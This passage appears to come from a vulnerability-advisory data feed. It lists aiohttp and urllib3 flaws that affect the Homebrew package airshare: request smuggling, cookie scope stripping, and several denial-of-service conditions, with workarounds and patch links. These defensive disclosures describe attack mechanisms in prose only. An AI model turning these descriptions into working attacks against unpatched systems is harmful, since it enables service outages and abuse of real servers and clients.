proxies).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-f9xw-jh8m-3mwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111748"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6d4e7b01f9b951aa084a75d7356e907d4ee80411"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-111749","published":"2026-10-21T10:32:48Z","modified":"2026-10-21T10:32:48Z","upstream":["GHSA-gx76-c99x-2c96","CVE-2026-111749"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies","details":"### Summary\n\nA subdomain can remove the Host-Only flag from an existing cookie to a parent domain.\n\n### Impact\n\nA user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gx76-c99x-2c96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111749"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a07c171ef9f3be583e2907dcd1931372efca8d6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-111750","published":"2026-10-21T10:32:48Z","modified":"2026-10-21T10:32:48Z","upstream":["GHSA-pqxq-w44r-73xw","CVE-2026-111750"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request smuggling","details":"### Summary\n\nThe pure Python parser is vulnerable to an HTTP request smuggling attack.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.\n\n### Workaround\n\nSwitch to the default C parser.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pqxq-w44r-73xw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111750"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9b27347e61454d9f8ca2055f4c67a37dee336e83"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-128124","published":"2026-11-17T10:24:00Z","modified":"2026-11-17T10:24:00Z","upstream":["GHSA-jm3w-gw2p-xjfj","CVE-2026-128124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Event loop stall in add_domain() wildcard matching","details":"### Summary\n\n`Application.add_domain()` compiled each `*` in a host mask to `[^:]*`. With two or more wildcards in a mask, matching a long `Host` header that does not match the mask took polynomial time on the event loop.\n\n### Impact\n\nAn attacker could stall a server that registers a domain mask with more than one wildcard by sending requests with a long `Host` header.\n\n### Workaround\n\nUse at most one `*` in a domain mask.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jm3w-gw2p-xjfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128124"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13943"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13945"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/766b882820da0651c84090e366a3b024b4a263c9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-128125","published":"2026-11-17T10:24:00Z","modified":"2026-11-17T10:24:00Z","upstream":["GHSA-5pv8-vvhc-h7jv","CVE-2026-128125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded cookie storage in client CookieJar","details":"### Summary\n\n`Set-Cookie` parsing created additional cookies from unrecognised `name=value` attributes, and `CookieJar` had no limit on the number of cookies stored or sent. A server could make the client store a very large number of cookies and generate very large `Cookie` headers.\n\n### Impact\n\nA malicious server could cause excessive memory and CPU use in a client, repeated on every redirect, and cause later requests to the same domain to build an excessively large `Cookie` header.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5pv8-vvhc-h7jv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128125"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13930"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13942"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b1f6c87b2bd3bd80f2b6c22ff46e11d00921e412"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-128126","published":"2026-11-17T10:24:00Z","modified":"2026-11-17T10:24:00Z","upstream":["GHSA-xgw8-8ccx-rmqh","CVE-2026-128126"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Too many URL-encoded form fields block the event loop","details":"### Summary\n\n`Request.post()` had no limit on the number of fields in a URL-encoded form body. Inserting a large number of repeated keys into a `MultiDict` took quadratic time on the event loop.\n\n### Impact\n\nAn attacker could block the event loop with a form POST within the default `client_max_size` to any handler that calls `Request.post()`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xgw8-8ccx-rmqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128126"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13738"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13741"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8b0100572936df28977b9de8a6cc7e464c0b521e"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-128127","published":"2026-11-17T10:23:49Z","modified":"2026-11-17T10:23:49Z","upstream":["GHSA-24c4-3p7v-29cm","CVE-2026-128127"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Base64 multipart parts bypass client_max_size","details":"### Summary\n\nWhen reading a multipart part with `Content-Transfer-Encoding: base64`, `BodyPartReader.read_chunk()` kept reading until the chunk length was a multiple of 4, with no byte limit. A part with a short `Content-Length`, or a long run of whitespace, could cause the entire remaining body to be read into memory within a single call before any size check, or spin on the event loop.\n\n### Impact\n\nAn attacker could bypass `client_max_size` to cause excessive memory use, or block the event loop, with a specially crafted multipart request to any handler that reads multipart data.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-24c4-3p7v-29cm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128127"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13509"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13513"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d9c5c1062eff0034fb3ab120897a6c1b3ff7041"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-128128","published":"2026-11-17T10:24:00Z","modified":"2026-11-17T10:24:00Z","upstream":["GHSA-3rp8-rxj8-mvjw","CVE-2026-128128"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket max_msg_size bypass via integer overflow","details":"### Summary\n\nThe `max_msg_size` check in the WebSocket reader added the declared frame length to the size of the partial message already buffered. In the C extension this addition is 64-bit arithmetic, so a declared length close to 2**63 overflowed and the check passed.\n\n### Impact\n\nAn attacker could bypass `max_msg_size` and cause unbounded memory use by streaming an oversized WebSocket message after a small non-final fragment.\n\n### Workaround\n\nIf unable to upgrade, the Python reader is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-3rp8-rxj8-mvjw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128128"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13415"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13494"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8c8906a19f64e52ef6a7d44d65217eb3c5af413f"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-128129","published":"2026-11-17T10:24:00Z","modified":"2026-11-17T10:24:00Z","upstream":["GHSA-pw86-h8fm-j323","CVE-2026-128129"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded buffering of data received during an upgrade request","details":"### Summary\n\nWhile a request flagged as an upgrade (e.g. a WebSocket handshake) was being handled, all further data received on the connection was buffered with no size limit or flow control until the handler completed.\n\n### Impact\n\nAn attacker could cause unbounded memory use by streaming data behind an upgrade request to any handler that does not immediately accept or reject the upgrade.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pw86-h8fm-j323"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128129"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13501"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13511"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c207cadb257e0959b192ffca0548eca8c71eb96a"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-128130","published":"2026-11-17T10:23:49Z","modified":"2026-11-17T16:59:42Z","upstream":["GHSA-28qf-cpwq-vmc2","CVE-2026-128130"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.6_24"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request replay and buffer growth behind a declined upgrade","details":"### Summary\n\nWhen the pipelined request queue was full, the pure-Python parser stored the unparsed remainder internally and also returned it to the caller. After a handler declined an upgrade request, the buffered data was re-fed, so the buffer grew with each handled request and already-handled requests were dispatched to the application again.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), an attacker could cause excessive memory use and cause pipelined requests to be processed more than once.\n\n### Workaround\n\nSwitch to the default C parser.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-28qf-cpwq-vmc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128130"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13356"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13360"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/72eaa429cf89b1e20212590f3e704444239569fb"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-128131","published":"2026-11-17T10:24:00Z","modified":"2026-11-17T16:59:42Z","upstream":["GHSA-h4cc-hm5h-fmm9","CVE-2026-128131"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.6_24"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: Concatenated compressed streams cause excessive CPU use","details":"### Summary\n\nWhen decompressing a payload made up of many concatenated compressed members (gzip, deflate or zstd), each member was decoded by passing the entire remaining input to a new decompressor, resulting in quadratic CPU time. Empty members produce no output, so `client_max_size` and output backpressure did not limit the work.\n\n### Impact\n\nAn attacker could block the event loop of a server with a specially crafted compressed request body or WebSocket message. A malicious server could do the same to a client.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-h4cc-hm5h-fmm9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128131"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13362"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13391"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d041d4d0fd48c3f0832084d33be16cf1c4835f85"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-128132","published":"2026-11-17T10:24:00Z","modified":"2026-11-17T10:24:00Z","upstream":["GHSA-5rmc-48h2-hvcm","CVE-2026-128132"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"AIOHTTP: WebSocket receive queue limits bypassed by small or compressed messages","details":"### Summary\n\nThe WebSocket reader continued parsing frames already received after the receive queue had paused the transport, and empty messages were not counted towards the queue size. With permessage-deflate, a single read of compressed frames could add many megabytes of decompressed messages to the queue.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending many small or compressed messages faster than the application consumes them.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5rmc-48h2-hvcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128132"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13393"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13545"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13546"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5e54037933fa8422be5fa8a2002d118ed2d4e5e0"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b62321b6fa264a89f4aca084ad60fc38a59ffa51"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-21441","published":"2026-08-13T16:35:13Z","modified":"2026-10-08T01:16:05Z","upstream":["GHSA-38jv-5279-wg99","CVE-2026-21441","PYSEC-2026-1996"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_21"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Decompression-bomb safeguards bypassed when following HTTP redirects (streaming API)","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.6.2/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nurllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.\n\nHowever, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when `preload_content=False`.\n\nIf upgrading is not immediately possible, disable [redirects](https://urllib3.readthedocs.io/en/2.6.2/user-guide.html#retrying-requests) by setting `redirect=False` for requests to untrusted source.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-38jv-5279-wg99"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-21441"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8864ac407bba8607950025e0979c4c69bc7abc7b"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-airshare-CVE-2026-22815","published":"2026-08-13T16:35:13Z","modified":"2026-10-13T09:26:38Z","upstream":["GHSA-w2fm-2cpv-w7v5","CVE-2026-22815","PYSEC-2026-2094"],"affected":[{"package":{"ecosystem":"Homebrew","name":"airshare","purl":"pkg:brew/airshare"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.5"},{"fixed":"0.1.6_23"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.13.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.4","key":"pkg:pypi/aiohttp@3.14.4","resource":"aiohttp"}]},"summary":"aiohttp allows unlimited trailer headers, leading to possible uncapped memory usage","details":"### Summary\n\nInsufficient restrictions in header/trailer handling could cause uncapped memory usage.\n\n### Impact\n\nAn application could cause memory exhaustion when receiving an attacker controlled request or response. A vulnerable web application could mitigate these risks with a typical reverse proxy configuration.\n\n-----\n\nPatch: 